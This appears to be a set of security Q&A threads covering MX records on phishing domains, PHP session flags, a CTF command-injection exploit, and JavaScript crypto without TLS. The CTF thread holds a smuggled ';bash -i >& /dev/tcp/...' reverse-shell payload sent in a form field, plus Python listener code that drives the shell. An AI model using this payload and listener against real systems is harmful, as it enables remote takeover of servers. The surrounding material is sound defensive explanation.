No MX Records on a Possible Phishing domain? I saw on my SMTP logs that it queried a possible phishing domain, I look up on its MX records and it didn't have one. Does the domain need an MX record before sending phishing emails?

Does the domain need an MX record before sending phishing emails?

No.  According to RFC 2821, if there is no MX record, then mail delivery will look for an A record instead:

The lookup first attempts to locate an MX record associated
with the name.  If a CNAME record is found instead, the
resulting name is processed as if it were the initial name.
If no MX records are found, but an A RR is found, the A RR
is treated as if it was associated with an implicit MX RR,
with a preference of 0, pointing to that host.


Is a "logged_in" session flag secure enough? Is the code below enough to secure a login area?

<?php

if ($_SESSION['logged_in']) {
    // show content for logged-in users
}

Note: $_SESSION['logged_in'] is just a boolean value true after validating username/pass.

Assuming you have these bases covered:

SSL
strong passwords
session id regeneration
http only
session fingerprint

What other ways can an attacker defeat a simple if ($_SESSION['logged_in']) flag?

if ($_SESSION['logged_in'])

This can be secure. There is no straightforward way for an attacker to modify $_SESSION or the variables within. The only way it becomes true is when your web application sets it to true.


Create netcat listener and execute reverse shell in the same script I'm coding an exploit in python that exploits a command injection vulnerability for a CTF and I'm wondering how could I start a netcat listener and then send the payload to the remote host and once the connection is stablished the script execution finishes and drops me to the stablished connection.

This is my code:

url= "http://vuln_url:8080/ping.php"

IP_ADDRESS = 'local_ip'
PORT = '9999'

cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)

values = {
            'ip': cmd,
            'submit':'submit'
          }

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
urllib2.urlopen(req)

What I want to do is something like this:

url= "http://vuln_url:8080/ping.php"

IP_ADDRESS = 'local_ip'
PORT = '9999'

cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)

values = {
            'ip': cmd,
            'submit':'submit'
          }

#Some code to start the nc listener ¿(os.system("nc -l -p 9999 -vvv")?

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
#Execute the request and start the reverse shell
urllib2.urlopen(req)

#Code to drop me to the nc stablished connection

I'm not sure if such a thing is even possible.
Any idea?

Typically, you would just start the listener separately: Open a new terminal and run your nc -l -p 9999. Leave that there waiting, then fire off your exploit causing the remote machine to start a reverse shell.

There are loads of things that can go wrong in this process, generally just binding a shell is much easier than getting a reverse shell to work when you're blind.

You need to open a listening socket, and then interact with it once it has received a connection.

So, first open your listening socket (this replaces netcat)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))
s.listen(5)

You can use a simple interact function that takes a socket:

def interact(sock):
     command=''
     while(command != 'exit'):
         command=raw_input('$ ')
         sock.send(command + '\n')
         time.sleep(.5)
         print sock.recv(0x10000)
     return

Then you can use them together with something like:

interact(s.accept())

This might require some tweaking, but that is the basic layout.


How to replace SSL/TLS? I have to make a website for a NGO (Non-Governmental Organization), and they have the minimal options from their provider, so they can't have SSL/TLS (barely only HTML/PHP/MySQL/JS)

The data that goes from and to the server aren't very sensitive, but I don't want their passwords, name and address to be sent clear on the web.

I thought about ciphering data inside the JavaScript that calls the API functions with RSA (I'm no expert, but this lib seems pretty efficient), but I red an article that strongly advise not to use JavaScript for crypto (I'm French and maybe I didn't get everything right, but I got the main point).

So what should I use to cipher the data over the network?
If JS isn't really a bad idea, what can I do to ensure maximum safety with the technology I can use on this server (once again, no HTTPS, sadly), apart from importing the lib on my server and not relying on importing it from a different sever?

No SSL, no security. Things in the real world are rarely simple, but here it is the case. This is easily seen as follows: whatever you do in Javascript, will be done in Javascript sent by the server. Any attacker who is in position to look at the data can also modify it at will (e.g. the easiest way to spy on WiFi is to run your own fake access point, and then you naturally get to modify all data as it comes and goes); thus, such an attacker can simply remove or alter whatever Javascript-based solution you may come up with, and deactivate it. Or just add a hook to also send the password in the clear as an extra parameter.

Now, even if you could get "safe Javascript" on the client browser, then you would run into all the problems that Javascript crypto entails, and that are detailed in the article you link to. But this is only a secondary consideration, compared with the fundamental flaw explained above: with no SSL, you cannot ensure that what runs on the client browser is your code.

Trying to handle password securely on a non-SSL Web site is akin to trying to perform brain surgery safely with only a tea spoon and a rusty crowbar. Just don't do it. If there is sensitive data that flows to the Web site (e.g. names and addresses), then you MUST apply reasonable protection mechanisms. If the data is not sensitive, then why would you need passwords ?